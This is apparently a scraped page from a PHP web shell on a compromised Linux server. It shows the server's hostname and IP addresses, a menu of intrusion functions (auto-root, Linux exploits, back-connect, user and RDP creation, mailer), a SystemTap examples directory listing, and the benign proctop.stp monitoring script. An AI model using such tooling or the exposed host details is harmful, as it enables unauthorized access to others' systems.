Linux server2.hpierson.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Apache
: 162.0.216.123 | : 216.73.216.152
28 Domain
?7.4.33
yvffpqmy
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
systemtap /
examples /
process /
[ HOME SHELL ]
Name
Size
Permission
Action
auditbt.meta
429
B
-rw-r--r--
auditbt.stp
622
B
-rwxr-xr-x
auditbt.tcl
79
B
-rw-r--r--
chng_cpu.meta
775
B
-rw-r--r--
chng_cpu.stp
1.02
KB
-rwxr-xr-x
chng_cpu.tcl
140
B
-rw-r--r--
cycle_thief.meta
1.06
KB
-rw-r--r--
cycle_thief.stp
2.83
KB
-rwxr-xr-x
cycle_thief.txt
5.83
KB
-rw-r--r--
errsnoop.meta
575
B
-rw-r--r--
errsnoop.stp
1015
B
-rwxr-xr-x
forktracker.meta
525
B
-rw-r--r--
forktracker.stp
601
B
-rwxr-xr-x
futexes.meta
520
B
-rw-r--r--
futexes.stp
1.09
KB
-rwxr-xr-x
futexes.txt
944
B
-rw-r--r--
futexes2.meta
593
B
-rw-r--r--
futexes2.stp
1.97
KB
-rw-r--r--
ltrace.meta
314
B
-rw-r--r--
ltrace.stp
2.94
KB
-rwxr-xr-x
ltrace.tcl
122
B
-rw-r--r--
migrate.meta
746
B
-rw-r--r--
migrate.stp
1.01
KB
-rwxr-xr-x
mutex-contention.meta
479
B
-rw-r--r--
mutex-contention.stp
5.43
KB
-rwxr-xr-x
mutex-contention.tcl
79
B
-rw-r--r--
noptrace.meta
512
B
-rw-r--r--
noptrace.stp
1.98
KB
-rwxr-xr-x
noptrace.txt
1.18
KB
-rw-r--r--
pfiles.meta
450
B
-rw-r--r--
pfiles.stp
23.14
KB
-rwxr-xr-x
plimit.meta
387
B
-rw-r--r--
plimit.stp
2.96
KB
-rwxr-xr-x
proc_snoop.stp
1.11
KB
-rwxr-xr-x
proc_snoop_parser.xml
818
B
-rw-r--r--
proc_snoop_parser_instructions...
2.13
KB
-rw-r--r--
procmod_watcher.meta
657
B
-rw-r--r--
procmod_watcher.stp
2.35
KB
-rw-r--r--
proctop.meta
601
B
-rw-r--r--
proctop.stp
4.15
KB
-rwxr-xr-x
proctop.txt
8.45
KB
-rw-r--r--
psig.meta
354
B
-rw-r--r--
psig.stp
5.48
KB
-rwxr-xr-x
pstrace_exec.meta
545
B
-rw-r--r--
pstrace_exec.stp
465
B
-rwxr-xr-x
pstree.meta
455
B
-rw-r--r--
pstree.stp
1.91
KB
-rwxr-xr-x
rlimit_nofile.meta
319
B
-rw-r--r--
rlimit_nofile.stp
1.12
KB
-rwxr-xr-x
sched-latency.meta
470
B
-rw-r--r--
sched-latency.stp
508
B
-rw-r--r--
sched-latency.txt
1.53
KB
-rw-r--r--
schedtimes.meta
814
B
-rw-r--r--
schedtimes.stp
3.84
KB
-rwxr-xr-x
schedtimes.txt
3.2
KB
-rw-r--r--
semop-watch.meta
267
B
-rw-r--r--
semop-watch.stp
795
B
-rwxr-xr-x
sig_by_pid.meta
357
B
-rw-r--r--
sig_by_pid.stp
1.04
KB
-rwxr-xr-x
sig_by_pid.txt
1.48
KB
-rw-r--r--
sig_by_proc.meta
364
B
-rw-r--r--
sig_by_proc.stp
839
B
-rwxr-xr-x
sig_by_proc.txt
951
B
-rw-r--r--
sigkill.meta
560
B
-rw-r--r--
sigkill.stp
656
B
-rwxr-xr-x
sigmon.meta
669
B
-rw-r--r--
sigmon.stp
932
B
-rwxr-xr-x
sleepingBeauties.meta
581
B
-rw-r--r--
sleepingBeauties.stp
1.33
KB
-rwxr-xr-x
sleepingBeauties.tcl
140
B
-rw-r--r--
sleeptime.meta
601
B
-rw-r--r--
sleeptime.stp
1.2
KB
-rwxr-xr-x
spawn_seeker.meta
854
B
-rw-r--r--
spawn_seeker.stp
1.49
KB
-rwxr-xr-x
spawn_seeker.txt
1.29
KB
-rw-r--r--
strace.meta
385
B
-rw-r--r--
strace.stp
2.03
KB
-rwxr-xr-x
strace.txt
3.59
KB
-rw-r--r--
syscalls_by_pid.meta
514
B
-rw-r--r--
syscalls_by_pid.stp
623
B
-rwxr-xr-x
syscalls_by_pid.txt
597
B
-rw-r--r--
syscalls_by_proc.meta
531
B
-rw-r--r--
syscalls_by_proc.stp
677
B
-rwxr-xr-x
syscalls_by_proc.txt
1.1
KB
-rw-r--r--
syscalltimes
6.14
KB
-rwxr-xr-x
syscalltimes.meta
454
B
-rw-r--r--
syscalltimes.txt
11.19
KB
-rw-r--r--
thread-business.meta
346
B
-rw-r--r--
thread-business.stp
866
B
-rwxr-xr-x
thread-business.txt
2.76
KB
-rw-r--r--
threadstacks.meta
585
B
-rw-r--r--
threadstacks.stp
1.43
KB
-rwxr-xr-x
threadstacks.tcl
79
B
-rw-r--r--
wait4time.meta
658
B
-rw-r--r--
wait4time.stp
1.32
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : proctop.stp
#!/usr/bin/stap global processes, stime, virtmem, rssmem, shrmem, utime, proc_state global tot_intervals, sec_counter // configuration options: // -G sort=[pid|process|state|virtmem|rssmem|shrdmem|stime|utime] // -G sortdir=[increase|decrease] // -G show=# // -G interval=# // -G clear_screen=[y|n] global sort="stime", sortdir="decrease", show=25, interval=5, clear_screen="n" probe scheduler.ctxswitch { //don't let the process name get overwritten if (processes[prev_pid] == "" || prev_task_name != "") processes[prev_pid] = prev_task_name if (task_stime() > stime[prev_pid]){ stime[prev_pid] = task_stime() utime[prev_pid] = task_utime() virtmem[prev_pid] = proc_mem_size(prev_pid) rssmem[prev_pid] = proc_mem_rss(prev_pid) shrmem[prev_pid] = proc_mem_shr(prev_pid) } // update the state if we've encountered the process before if (processes[prev_pid] != "") proc_state[prev_pid] = prevtsk_state } probe scheduler.process_exit { proc_state[pid] = 65 } function print_pid_info (proc_pid){ // calc the state of the process if (proc_state[proc_pid] == 0) state = "R" else if (proc_state[proc_pid] == 1) state = "S" else if (proc_state[proc_pid] == 2) state = "D" else if (proc_state[proc_pid] == 4 || proc_state[proc_pid] == 8) state = "T" else if (proc_state[proc_pid] == 16) state = "Z" else if (proc_state[proc_pid] == 32) state = "EXIT_DEAD" else if (proc_state[proc_pid] == 65) state = "DEAD" else state = "DEAD" // let's assume the worst printf("%8d %20s %10s %12d %12d %12d %16d %16d\n", proc_pid, processes[proc_pid], state, virtmem[proc_pid] * mem_page_size(), rssmem[proc_pid] * mem_page_size(), shrmem[proc_pid] * mem_page_size(), stime[proc_pid], utime[proc_pid]) } function print_info (){ tot_processes = 0; // count the number of processes foreach ([a] in processes) tot_processes ++; if (clear_screen == "y") ansi_clear_screen() else println(); printf("%d seconds: showing %d out of %d tasks\n", tot_intervals*interval, ((show>tot_processes) ? tot_processes : show), tot_processes) printf("%8s %20s %10s %12s %12s %12s %16s %16s\n", "PID", "Process", "State", "VirtMem", "RSSMem", "ShrdMem", "CPU Time", "User Time") if (sortdir == "increase") { if (sort == "pid") foreach ([proc_pid+] in processes limit show) print_pid_info(proc_pid) if (sort == "process") foreach ([proc_pid] in processes+ limit show) print_pid_info(proc_pid) if (sort == "state") foreach ([proc_pid] in proc_state+ limit show) print_pid_info(proc_pid) if (sort == "virtmem") foreach ([proc_pid] in virtmem+ limit show) print_pid_info(proc_pid) if (sort == "rssmem") foreach ([proc_pid] in rssmem+ limit show) print_pid_info(proc_pid) if (sort == "shrdmem") foreach ([proc_pid] in shrmem+ limit show) print_pid_info(proc_pid) if (sort == "stime") foreach ([proc_pid] in stime+ limit show) print_pid_info(proc_pid) if (sort == "utime") foreach ([proc_pid] in utime+ limit show) print_pid_info(proc_pid) } else if (sortdir == "decrease") { if (sort == "pid") foreach ([proc_pid-] in processes limit show) print_pid_info(proc_pid) if (sort == "process") foreach ([proc_pid] in processes- limit show) print_pid_info(proc_pid) if (sort == "state") foreach ([proc_pid] in proc_state- limit show) print_pid_info(proc_pid) if (sort == "virtmem") foreach ([proc_pid] in virtmem- limit show) print_pid_info(proc_pid) if (sort == "rssmem") foreach ([proc_pid] in rssmem- limit show) print_pid_info(proc_pid) if (sort == "shrdmem") foreach ([proc_pid] in shrmem- limit show) print_pid_info(proc_pid) if (sort == "stime") foreach ([proc_pid] in stime- limit show) print_pid_info(proc_pid) if (sort == "utime") foreach ([proc_pid] in utime- limit show) print_pid_info(proc_pid) } if (clear_screen != "y") println("-----------------------------------------------------------------------------------------------------------------") } probe timer.s(1) { if (++sec_counter >= interval){ tot_intervals++ print_info() sec_counter = 0; } }
Close